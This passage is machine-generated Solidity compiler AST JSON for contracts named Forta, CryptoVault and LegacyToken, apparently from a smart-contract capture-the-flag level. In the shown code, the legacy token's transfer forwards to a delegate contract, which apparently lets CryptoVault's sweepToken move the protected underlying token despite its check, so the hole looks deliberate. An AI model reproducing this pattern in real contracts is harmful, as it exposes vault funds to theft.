uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns (bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns 